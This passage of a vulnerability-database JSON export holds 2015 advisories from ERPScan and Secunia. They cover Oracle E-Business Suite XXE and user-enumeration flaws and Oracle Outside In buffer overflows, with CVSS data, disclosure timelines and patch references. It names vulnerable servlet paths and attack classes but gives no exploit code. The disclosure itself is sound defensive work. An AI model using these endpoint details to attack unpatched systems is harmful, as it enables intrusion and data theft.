PACKAGES\r\n\r\nOracle E-Business Suite 12.1.3\r\n\r\nOther versions are probably affected too, but they were not checked.\r\n\r\n5. SOLUTIONS AND WORKAROUNDS\r\n\r\nInstall Oracle CPU October 2015\r\n\r\n6. AUTHOR\r\nNikita Kelesis, Ivan Chalykin, Alexey Tyurin &#40;ERPScan&#41;\r\n\r\n7. TECHNICAL DESCRIPTION\r\n\r\nVulnerable servlet:\r\n/OA_HTML/oramipp_lpr\r\n\r\n\r\n8. REPORT TIMELINE\r\n\r\nReported: 17.07.2015\r\nVendor response: 24.07.2015\r\nDate of Public Advisory: 20.10.2015\r\n\r\n9. REFERENCES\r\n\r\nhttp://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html\r\nhttp://erpscan.com/advisories/erpscan-15-030-oracle-e-business-suite-xxe-injection-vulnerability/\r\n\r\n10. ABOUT ERPScan Research\r\nThe company\u2019s expertise is based on the research subdivision of\r\nERPScan, which is engaged in vulnerability research and analysis of\r\ncritical enterprise applications. It has achieved multiple\r\nacknowledgments from the largest software vendors like SAP, Oracle,\r\nMicrosoft, IBM, VMware, HP for discovering more than 400\r\nvulnerabilities in their solutions &#40;200 of them just in SAP!&#41;.\r\nERPScan researchers are proud to have exposed new types of\r\nvulnerabilities &#40;TOP 10 Web Hacking Techniques 2012&#41; and to be\r\nnominated for the best server-side vulnerability at BlackHat 2013.\r\nERPScan experts have been invited to speak, present, and train at 60+\r\nprime international security conferences in 25+ countries across the\r\ncontinents. These include BlackHat, RSA, HITB, and private SAP\r\ntrainings in several Fortune 2000 companies.\r\nERPScan researchers lead the project EAS-SEC, which is focused on\r\nenterprise application security research and awareness. They have\r\npublished 3 exhaustive annual award-winning surveys about SAP\r\nsecurity.\r\nERPScan experts have been interviewed by leading media resources and\r\nfeatured in specialized info-sec publications worldwide. These include\r\nReuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,\r\nHeise, and Chinabyte, to name a few.\r\nWe have highly qualified experts in staff with experience in many\r\ndifferent fields of security, from web applications and\r\nmobile/embedded to reverse engineering and ICS/SCADA systems,\r\naccumulating their experience to conduct the best SAP security\r\nresearch.\r\n\r\n\r\n11. ABOUT ERPScan\r\nERPScan is one of the most respected and credible Business Application\r\nSecurity providers. Founded in 2010, the company operates globally.\r\nNamed an Emerging vendor in Security by CRN and distinguished by more\r\nthan 25 other awards, ERPScan is the leading SAP SE partner in\r\ndiscovering and resolving security vulnerabilities. ERPScan\r\nconsultants work with SAP SE in Walldorf to improve the security of\r\ntheir latest solutions.\r\nERPScan\u2019s primary mission is to close the gap between technical and\r\nbusiness security. We provide solutions to secure ERP systems and\r\nbusiness-critical applications from both cyber attacks and internal\r\nfraud. Our clients are usually large enterprises, Fortune 2000\r\ncompanies, and managed service providers whose requirements are to\r\nactively monitor and manage the security of vast SAP landscapes on a\r\nglobal scale.\r\nOur flagship product is ERPScan Security Monitoring Suite for SAP.\r\nThis multi award-winning innovative software is the only solution on\r\nthe market certified by SAP SE covering all tiers of SAP security:\r\nvulnerability assessment, source code review, and Segregation of\r\nDuties.\r\nThe largest companies from diverse industries like oil and gas,\r\nbanking, retail, even nuclear power installations as well as\r\nconsulting companies have successfully deployed the software. ERPScan\r\nSecurity Monitoring Suite for SAP is specifically designed for\r\nenterprises to continuously monitor changes in multiple SAP systems.\r\nIt generates and analyzes trends in user friendly dashboards, manages\r\nrisks, tasks, and can export results to external systems. These\r\nfeatures enable central management of SAP system security with minimal\r\ntime and effort.\r\nWe follow the sun and function in two hubs located in the Netherlands\r\nand the US to operate local offices and partner network spanning 20+\r\ncountries around the globe. This enables monitoring cyber threats in\r\nreal time and providing agile customer support.\r\n\r\nAdress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301\r\nPhone: 650.798.5255\r\nTwitter: @erpscan\r\nScoop-it: Business Application Security\r\n\r\n", "published": "2015-11-02T00:00:00", "modified": "2015-11-02T00:00:00", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32655", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2015-4851"], "type": "securityvulns", "lastseen": "2018-08-31T11:11:02", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "63db7f670b9c5615e482d0338ccc1970"}, {"key": "cvss", "hash": "737e2591b537c46d1ca7ce6f0cea5cb9"}, {"key": "description", "hash": "d89fcd2baf8a53a154659fa121f9e2da"}, {"key": "href", "hash": "53ac53d7c165321e6db0accca2f44053"}, {"key": "modified", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "published", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "a49ebb2e1a771348dfa0039e0d589df6"}, {"key": "title", "hash": "454360ae6b0ecae8a6f843602b44b093"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "cb18bce50ec994d7c269875a40e561f262f505c65bda1189c95aab1fee4ec261", "viewCount": 110, "enchantments": {"score": {"value": 6.8, "vector": "NONE", "modified": "2018-08-31T11:11:02", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2015-4851"]}, {"type": "erpscan", "idList": ["ERPSCAN-15-030"]}, {"type": "nessus", "idList": ["ORACLE_E-BUSINESS_CPU_OCT_2015.NASL"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:14755"]}, {"type": "oracle", "idList": ["ORACLE:CPUOCT2015-2367953", "ORACLE:CPUOCT2015"]}], "modified": "2018-08-31T11:11:02", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}}, {"id": "SECURITYVULNS:DOC:32659", "bulletinFamily": "software", "title": "Secunia Research: Oracle Outside In Two Buffer Overflow Vulnerabilities", "description": "\r\n\r\n======================================================================\r\n\r\n Secunia Research &#40;now part of Flexera Software&#41; 26/10/2015\r\n\r\n Oracle Outside In Two Buffer Overflow Vulnerabilities\r\n\r\n======================================================================\r\nTable of Contents\r\n\r\nAffected Software....................................................1\r\nSeverity.............................................................2\r\nDescription of Vulnerabilities.......................................3\r\nSolution.............................................................4\r\nTime Table...........................................................5\r\nCredits..............................................................6\r\nReferences...........................................................7\r\nAbout Secunia........................................................8\r\nVerification.........................................................9\r\n\r\n======================================================================\r\n\r\n1&#41; Affected Software\r\n\r\n* Oracle Outside In versions 8.5.0, 8.5.1, and 8.5.2.\r\n\r\n====================================================================== \r\n2&#41; Severity\r\n\r\nRating: Moderately critical\r\nImpact: System Access\r\nWhere: From remote\r\n\r\n====================================================================== \r\n3&#41; Description of Vulnerabilities\r\n\r\nSecunia Research has discovered two vulnerabilities in Oracle Outside\r\nIn Technology, which can be exploited by malicious people to cause a\r\nDoS &#40;Denial of Service&#41; and compromise an application using the SDK.\r\n\r\n1&#41; An error in the vstga.dll when processing TGA files can be\r\nexploited to cause an out-of-bounds write memory access.\r\n\r\n2&#41; An error in the libxwd2.dll when processing XWD files can be\r\nexploited to cause a stack-based buffer overflow.\r\n\r\nSuccessful exploitation of the vulnerabilities may allow execution of\r\narbitrary code.\r\n\r\n====================================================================== \r\n4&#41; Solution\r\n\r\nApply update. Please see the Oracle Critical Patch Update Advisory\r\nfor October 2015 for details.\r\n\r\n====================================================================== \r\n5&#41; Time Table\r\n\r\n14/07/2015 - Vendor notified of vulnerabilities.\r\n14/07/2015 - Vendor acknowledges report.\r\n16/07/2015 - Vendor supplied bug ticket ID.\r\n27/07/2015 - Vendor supplied information of fix in main codeline.\r\n24/09/2015 - Replied to vendor and asked about CVE references.\r\n25/09/2015 - Vendor replied that they check our request.\r\n27/09/2015 - Vendor assigned two CVE references.\r\n17/10/2015 - Vendor supplied 20/10/2015 as estimated fix date.\r\n20/10/2015 - Release of vendor patch.\r\n21/10/2015 - Public disclosure.\r\n26/10/2015 - Publication of research advisory.\r\n\r\n======================================================================\r\n\r\n6&#41; Credits\r\n\r\nDiscovered by Behzad Najjarpour Jabbari, Secunia Research &#40;now part\r\nof Flexera Software&#41;.\r\n\r\n======================================================================\r\n\r\n7&#41; References\r\n\r\nThe Common Vulnerabilities and Exposures &#40;CVE&#41; project has assigned\r\nthe CVE-2015-4877 and CVE-2015-4878 identifiers for the\r\nvulnerabilities.\r\n\r\n======================================================================\r\n\r\n8&#41; About Secunia &#40;now part of Flexera Software&#41;\r\n\r\nIn September 2015, Secunia has been acquired by Flexera Software:\r\n\r\nhttps://secunia.com/blog/435/\r\n\r\nSecunia offers vulnerability management solutions to corporate\r\ncustomers with verified and reliable vulnerability intelligence\r\nrelevant to their specific system configuration:\r\n\r\nhttp://secunia.com/advisories/business_solutions/\r\n\r\nSecunia also provides a publicly accessible and comprehensive advisory\r\ndatabase as a service to the security community and private\r\nindividuals, who are interested in or concerned about IT-security.\r\n\r\nhttp://secunia.com/advisories/\r\n\r\nSecunia believes that it is important to support the community and to\r\ndo active vulnerability research in order to aid improving the\r\nsecurity and reliability of software in general:\r\n\r\nhttp://secunia.com/secunia_research/\r\n\r\nSecunia regularly hires new skilled team members. Check the URL below\r\nto see currently vacant positions:\r\n\r\nhttp://secunia.com/corporate/jobs/\r\n\r\nSecunia offers a FREE mailing list called Secunia Security Advisories:\r\n\r\nhttp://secunia.com/advisories/mailing_lists/\r\n\r\n======================================================================\r\n\r\n9&#41; Verification \r\n\r\nPlease verify this advisory by visiting the Secunia website:\r\nhttp://secunia.com/secunia_research/2015-04/\r\n\r\nComplete list of vulnerability reports published by Secunia Research:\r\nhttp://secunia.com/secunia_research/\r\n\r\n======================================================================\r\n\r\n", "published": "2015-11-02T00:00:00", "modified": "2015-11-02T00:00:00", "cvss": {"score": 1.5, "vector": "AV:LOCAL/AC:MEDIUM/Au:SINGLE_INSTANCE/C:NONE/I:NONE/A:PARTIAL/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32659", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2015-4878", "CVE-2015-4877"], "type": "securityvulns", "lastseen": "2018-08-31T11:11:02", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "4ace813207bcca904f9ce30b2a4af836"}, {"key": "cvss", "hash": "9d86a8fe7d128c293831f0df378bc422"}, {"key": "description", "hash": "de292b07408952b00a29b1013274de92"}, {"key": "href", "hash": "11fc31982f2dd77a257b335afddaff3b"}, {"key": "modified", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "published", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "a49ebb2e1a771348dfa0039e0d589df6"}, {"key": "title", "hash": "6b73b451bb90c7def538fd4988f62817"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "9209f88c1ea4359c169adccc3614f3dde9ab7ec6501fd012d418096bf0181477", "viewCount": 230, "enchantments": {"score": {"value": 7.3, "vector": "NONE", "modified": "2018-08-31T11:11:02", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2015-4877", "CVE-2015-4878"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:00F56398A41A55DCC6858F0DBCF56C03", "EXPLOITPACK:A7CDE07AD2ACD817E8BEDEF7E2743190"]}, {"type": "exploitdb", "idList": ["EDB-ID:38788", "EDB-ID:38789"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:14755"]}, {"type": "oracle", "idList": ["ORACLE:CPUOCT2015-2367953", "ORACLE:CPUOCT2015"]}], "modified": "2018-08-31T11:11:02", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}}, {"id": "SECURITYVULNS:DOC:32656", "bulletinFamily": "software", "title": "[ERPSCAN-15-025] Oracle E-Business Suite Database user enumeration Vulnerability", "description": "\r\n\r\n1. ADVISORY INFORMATION\r\n\r\nTitle: Oracle E-Business Suite - Database user enumeration\r\nAdvisory ID: [ERPSCAN-15-025]\r\nAdvisory URL: http://erpscan.com/advisories/erpscan-15-025-oracle-e-business-suite-database-user-enumeration-vulnerability/\r\nDate published:20.10.2015\r\nVendors contacted: Oracle\r\n\r\n2. VULNERABILITY INFORMATION\r\n\r\nClass: User Enumeration\r\nImpact: user enumeration, SSRF\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2015-4845\r\nCVSS Information\r\nCVSS Base Score: 4.3 / 10\r\nAV : Access Vector &#40;Related exploit range&#41; Network &#40;N&#41;\r\nAC : Access Complexity &#40;Required attack complexity&#41; Medium &#40;M&#41;\r\nAu : Authentication &#40;Level of authentication needed to exploit&#41; None &#40;N&#41;\r\nC : Impact to Confidentiality Partial &#40;P&#41;\r\nI : Impact to Integrity None &#40;N&#41;\r\nA : Impact to Availability None &#40;N&#41;\r\n\r\n3. VULNERABILITY DESCRIPTION\r\n\r\nThere is a script in EBS that is used to connect to the database and\r\ndisplays the connection status. Different connection results can help\r\nan attacker to find existing database accounts.\r\n\r\n4. VULNERABLE PACKAGES\r\n\r\nOracle E-Business Suite 12.2.4\r\nOther versions are probably affected too, but they were not checked.\r\n\r\n5. SOLUTIONS AND WORKAROUNDS\r\n\r\nInstall Oracle CPU October 2015\r\n\r\n6. AUTHOR\r\nNikita Kelesis, Ivan Chalykin, Alexey Tyurin, Egor Karbutov &#40;ERPScan&#41;\r\n\r\n7. TECHNICAL DESCRIPTION\r\n\r\nDatabase users enumeration\r\nVunerable script: Aoljtest.js\r\n\r\n\r\n8. REPORT TIMELINE\r\n\r\nReported: 17.07.2015\r\nVendor response: 24.07.2015\r\nDate of Public Advisory: 20.10.2015\r\n\r\n9. REFERENCES\r\nhttp://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html\r\nhttp://erpscan.com/advisories/erpscan-15-025-oracle-e-business-suite-database-user-enumeration-vulnerability/\r\nhttp://erpscan.com/press-center/press-release/erpscan-took-a-closer-look-at-oracle-ebs-security-6-vulnerabilities-patched-in-recent-update/\r\n\r\n10. ABOUT ERPScan Research\r\nThe company\u2019s expertise is based on the research subdivision of\r\nERPScan, which is engaged in vulnerability research and analysis of\r\ncritical enterprise applications. It has achieved multiple\r\nacknowledgments from the largest software vendors like SAP, Oracle,\r\nMicrosoft, IBM, VMware, HP for discovering more than 400\r\nvulnerabilities in their solutions &#40;200 of them just in SAP!&#41;.\r\nERPScan researchers are proud to have exposed new types of\r\nvulnerabilities &#40;TOP 10 Web Hacking Techniques 2012&#41; and to be\r\nnominated for the best server-side vulnerability at BlackHat 2013.\r\nERPScan experts have been invited to speak, present, and train at 60+\r\nprime international security conferences in 25+ countries across the\r\ncontinents. These include BlackHat, RSA, HITB, and private SAP\r\ntrainings in several Fortune 2000 companies.\r\nERPScan researchers lead the project EAS-SEC, which is focused on\r\nenterprise application security research and awareness. They have\r\npublished 3 exhaustive annual award-winning surveys about SAP\r\nsecurity.\r\nERPScan experts have been interviewed by leading media resources and\r\nfeatured in specialized info-sec publications worldwide. These include\r\nReuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,\r\nHeise, and Chinabyte, to name a few.\r\nWe have highly qualified experts in staff with experience in many\r\ndifferent fields of security, from web applications and\r\nmobile/embedded to reverse engineering and ICS/SCADA systems,\r\naccumulating their experience to conduct the best SAP security\r\nresearch.\r\n\r\n\r\n11. ABOUT ERPScan\r\nERPScan is one of the most respected and credible Business Application\r\nSecurity providers. Founded in 2010, the company operates globally.\r\nNamed an Emerging vendor in Security by CRN and distinguished by more\r\nthan 25 other awards, ERPScan is the leading SAP SE partner in\r\ndiscovering and resolving security vulnerabilities. ERPScan\r\nconsultants work with SAP SE in Walldorf to improve the security of\r\ntheir latest solutions.\r\nERPScan\u2019s primary mission is to close the gap between technical and\r\nbusiness security. We provide solutions to secure ERP systems and\r\nbusiness-critical applications from both cyber attacks and internal\r\nfraud. Our clients are usually large enterprises, Fortune 2000\r\ncompanies, and managed service providers whose requirements are to\r\nactively monitor and manage the security of vast SAP landscapes on a\r\nglobal scale.\r\nOur flagship product is ERPScan Security Monitoring Suite for SAP.\r\nThis multi award-winning innovative software is the only solution on\r\nthe market certified by SAP SE covering all tiers of SAP security:\r\nvulnerability assessment, source code review, and Segregation of\r\nDuties.\r\nThe largest companies from diverse industries like oil and gas,\r\nbanking, retail, even nuclear power installations as well as\r\nconsulting companies have successfully deployed the software. ERPScan\r\nSecurity Monitoring Suite for SAP is specifically designed for\r\nenterprises to continuously monitor changes in multiple SAP systems.\r\nIt generates and analyzes trends in user friendly dashboards, manages\r\nrisks, tasks, and can export results to external systems. These\r\nfeatures enable central management of SAP system security with minimal\r\ntime and effort.\r\nWe follow the sun and function in two hubs located in the Netherlands\r\nand the US to operate local offices and partner network spanning 20+\r\ncountries around the globe. This enables monitoring cyber threats in\r\nreal time and providing agile customer support.\r\n\r\nAdress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301\r\nPhone: 650.798.5255\r\nTwitter: @erpscan\r\nScoop-it: Business Application Security\r\n\r\n", "published": "2015-11-02T00:00:00", "modified": "2015-11-02T00:00:00", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32656", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2015-4845"], "type": "securityvulns", "lastseen": "2018-08-31T11:11:02", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "353788a19da4a0fbd9dc61ba1dd3e473"}, {"key": "cvss", "hash": "3c236091754d2db00c1c42f811b3ada4"}, {"key": "description", "hash": "dfc668491cfc1b18219f4e0fa27629bb"}, {"key": "href", "hash": "47472cec8220b519f9db4a3abd3311c2"}, {"key": "modified", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "published", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "a49ebb2e1a771348dfa0039e0d589df6"}, {"key": "title", "hash": "6f38bdb72f53e9d8a774aa08a5beb873"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "a7d3f7599d9f9ff60ac91028e300ded9e66717f1acded1e1704741a8e99c4dea", "viewCount": 119, "enchantments": {"score": {"value": 6.8, "vector": "NONE", "modified": "2018-08-31T11:11:02", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2015-4845"]}, {"type": "erpscan", "idList": ["ERPSCAN-15-025"]}, {"type": "nessus", "idList": ["ORACLE_E-BUSINESS_CPU_OCT_2015.NASL"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:14755"]}, {"type": "oracle", "idList": ["ORACLE:CPUOCT2015-2367953", "ORACLE:CPUOCT2015"]}], "modified": "2018-08-31T11:11:02", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}}, {"id": "SECURITYVULNS:VULN:14754", "bulletinFamily": "software", "title": "audiofile memory corruption", "description": "Crash on audiofiles processing.", "published": "2015-11-02T00:00:00", "modified": "2015-11-02T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:14754", "reporter": "BUGTRAQ", "references": ["https://vulners.com/securityvulns/securityvulns:doc:32652"], "cvelist": ["CVE-2015-7747"], "type": "securityvulns", "lastseen": "2018-08-31T11:10:03", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "3ee3e850532a4e379263e510332ca570"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "50c023fd612f4a3919caafafd70af1c7"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "4edae476ac60af4535025767b9ffe8c9"}, {"key": "href", "hash": "a8ce47278a16f2d3e9f9942d079a8fae"}, {"key": "modified", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "published", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "references", "hash": "c3e652d5193ecf1d452bdc5cda802620"}, {"key": "reporter", "hash": "2c5cca82a8670da097919f6160833daf"}, {"key": "title", "hash": "096a6a1e782e7d5d437260d8fb399592"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "1544646943014e212849d4d22258dcafe7e1c933f1089c2e69598ad653c10407", "viewCount": 105, "enchantments": {"score": {"value": 7.1, "vector": "NONE", "modified": "2018-08-31T11:10:03", "rev": 2}, "dependencies": {"references": [{"type": "ubuntucve", "idList": ["UB:CVE-2015-7747"]}, {"type": "cve", "idList": ["CVE-2015-7747"]}, {"type": "fedora", "idList": ["FEDORA:AC00060E6E18", "FEDORA:476D76074A70"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310842506", "OPENVAS:1361412562310806796", "OPENVAS:1361412562310131103"]}, {"type": "ubuntu", "idList": ["USN-2787-1"]}, {"type": "nessus", "idList": ["UBUNTU_USN-2787-1.NASL", "OPENSUSE-2015-698.NASL", "FEDORA_2015-4BC7688B3E.NASL", "FEDORA_2015-605CD28F33.NASL", "SUSE_SU-2017-0940-1.NASL"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:32652"]}, {"type": "oraclelinux", "idList": ["ELSA-2020-3877"]}], "modified": "2018-08-31T11:10:03", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [{"name": "libaudiofile", "operator": "eq", "version": "0.3"}], "immutableFields": [], "cvss2": {}, "cvss3": {}}, {"id": "SECURITYVULNS:DOC:32653", "bulletinFamily": "software", "title": "[ERPSCAN-15-028] Oracle E-Business Suite - XXE injection Vulnerability", "description": "\r\n\r\n1. ADVISORY INFORMATION\r\n\r\nTitle: Oracle E-Business Suite XXE injection\r\nAdvisory ID: [ERPSCAN-15-028]\r\nAdvisory URL: http://erpscan.com/advisories/erpscan-15-028-oracle-e-business-suite-xxe-injection-vulnerability/\r\nDate published: 20.10.2015\r\nVendors contacted: Oracle\r\n\r\n2. VULNERABILITY INFORMATION\r\n\r\nClass: XML External Entity [CWE-611]\r\nImpact: information disclosure, DoS, SSRF, NTLM relay\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2015-4886\r\nCVSS Information\r\nCVSS Base Score: 6.4 / 10\r\nAV : Access Vector &#40;Related exploit range&#41; Network &#40;N&#41;\r\nAC : Access Complexity &#40;Required attack complexity&#41; Low &#40;L&#41;\r\nAu : Authentication &#40;Level of authentication needed to exploit&#41; None &#40;N&#41;\r\nC : Impact to Confidentiality Partial &#40;P&#41;\r\nI : Impact to Integrity Partial &#40;P&#41;\r\nA : Impact to Availability None &#40;N&#41;\r\n\r\n3. VULNERABILITY DESCRIPTION\r\n\r\n1&#41; An attacker can read an arbitrary file on a server by sending a\r\ncorrect XML request with a crafted DTD and reading the response from\r\nthe service.\r\n2&#41; An attacker can perform a DoS attack &#40;for example, XML Entity Expansion&#41;.\r\n3&#41; An SMB Relay attack is a type of Man-in-the-Middle attack where the\r\nattacker asks the victim to authenticate into a machine controlled by\r\nthe attacker, then relays the credentials to the target. The attacker\r\nforwards the authentication information both ways and gets access.\r\n\r\n4. VULNERABLE PACKAGES\r\n\r\nOracle E-Business Suite 12.1.3\r\n\r\nOther versions are probably affected too, but they were not checked.\r\n\r\n5. SOLUTIONS AND WORKAROUNDS\r\n\r\nInstall Oracle CPU October 2015\r\n\r\n6. AUTHOR\r\nNikita Kelesis, Ivan Chalykin, Alexey Tyurin &#40;ERPScan&#41;\r\n\r\n7. TECHNICAL DESCRIPTION\r\n\r\nVulnerable servlet:\r\n/OA_HTML/copxml\r\n\r\n8. REPORT TIMELINE\r\n\r\nReported: 17.07.2015\r\nVendor response: 24.07.2015\r\nDate of Public Advisory: 20.10.2015\r\n\r\n9. REFERENCES\r\n\r\nhttp://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html\r\nhttp://erpscan.com/advisories/erpscan-15-028-oracle-e-business-suite-xxe-injection-vulnerability/\r\n\r\n\r\n10. ABOUT ERPScan Research\r\nThe company\u2019s expertise is based on the research subdivision of\r\nERPScan, which is engaged in vulnerability research and analysis of\r\ncritical enterprise applications. It has achieved multiple\r\nacknowledgments from the largest software vendors like SAP, Oracle,\r\nMicrosoft, IBM, VMware, HP for discovering more than 400\r\nvulnerabilities in their solutions &#40;200 of them just in SAP!&#41;.\r\nERPScan researchers are proud to have exposed new types of\r\nvulnerabilities &#40;TOP 10 Web Hacking Techniques 2012&#41; and to be\r\nnominated for the best server-side vulnerability at BlackHat 2013.\r\nERPScan experts have been invited to speak, present, and train at 60+\r\nprime international security conferences in 25+ countries across the\r\ncontinents. These include BlackHat, RSA, HITB, and private SAP\r\ntrainings in several Fortune 2000 companies.\r\nERPScan researchers lead the project EAS-SEC, which is focused on\r\nenterprise application security research and awareness. They have\r\npublished 3 exhaustive annual award-winning surveys about SAP\r\nsecurity.\r\nERPScan experts have been interviewed by leading media resources and\r\nfeatured in specialized info-sec publications worldwide. These include\r\nReuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,\r\nHeise, and Chinabyte, to name a few.\r\nWe have highly qualified experts in staff with experience in many\r\ndifferent fields of security, from web applications and\r\nmobile/embedded to reverse engineering and ICS/SCADA systems,\r\naccumulating their experience to conduct the best SAP security\r\nresearch.\r\n\r\n\r\n11. ABOUT ERPScan\r\nERPScan is one of the most respected and credible Business Application\r\nSecurity providers. Founded in 2010, the company operates globally.\r\nNamed an Emerging vendor in Security by CRN and distinguished by more\r\nthan 25 other awards, ERPScan is the leading SAP SE partner in\r\ndiscovering and resolving security vulnerabilities. ERPScan\r\nconsultants work with SAP SE in Walldorf to improve the security of\r\ntheir latest solutions.\r\nERPScan\u2019s primary mission is to close the gap between technical and\r\nbusiness security. We provide solutions to secure ERP systems and\r\nbusiness-critical applications from both cyber attacks and internal\r\nfraud. Our clients are usually large enterprises, Fortune 2000\r\ncompanies, and managed service providers whose requirements are to\r\nactively monitor and manage the security of vast SAP landscapes on a\r\nglobal scale.\r\nOur flagship product is ERPScan Security Monitoring Suite for SAP.\r\nThis multi award-winning innovative software is the only solution on\r\nthe market certified by SAP SE covering all tiers of SAP security:\r\nvulnerability assessment, source code review, and Segregation of\r\nDuties.\r\nThe largest companies from diverse industries like oil and gas,\r\nbanking, retail, even nuclear power installations as well as\r\nconsulting companies have successfully deployed the software. ERPScan\r\nSecurity Monitoring Suite for SAP is specifically designed for\r\nenterprises to continuously monitor changes in multiple SAP systems.\r\nIt generates and analyzes trends in user friendly dashboards, manages\r\nrisks, tasks, and can export results to external systems. These\r\nfeatures enable central management of SAP system security with minimal\r\ntime and effort.\r\nWe follow the sun and function in two hubs located in the Netherlands\r\nand the US to operate local offices and partner network spanning 20+\r\ncountries around the globe. This enables monitoring cyber threats in\r\nreal time and providing agile customer support.\r\n\r\nAdress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301\r\nPhone: 650.798.5255\r\nTwitter: @erpscan\r\nScoop-it: Business Application Security\r\n\r\n", "published": "2015-11-02T00:00:00", "modified": "2015-11-02T00:00:00", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32653", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2015-4886"], "type": "securityvulns", "lastseen": "2018-08-31T11:11:02", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "69351c9e2391ef7eca3d2df22b50dfa7"}, {"key": "cvss", "hash": "74ae407306a397b0a0ad358180716883"}, {"key": "description", "hash": "4e6ec9b499ec13449a6ff7e2f34f9e06"}, {"key": "href", "hash": "18e386b233c06f7f383b38813a72da99"}, {"key": "modified", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "published", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "a49ebb2e1a771348dfa0039e0d589df6"}, {"key": "title", "hash": "5b50d10f3a67d5fff630637797862961"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "e255edf59cce7d583a14360427c9c718c4be765a11083e967d1b9b6430548b52", "viewCount": 95, "enchantments": {"score": {"value": 6.8, "vector": "NONE", "modified": "2018-08-31T11:11:02", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2015-4886"]}, {"type": "erpscan", "idList": ["ERPSCAN-15-028"]}, {"type": "nessus", "idList": ["ORACLE_E-BUSINESS_CPU_OCT_2015.NASL"]}, {"type": "securityvulns", "idList": 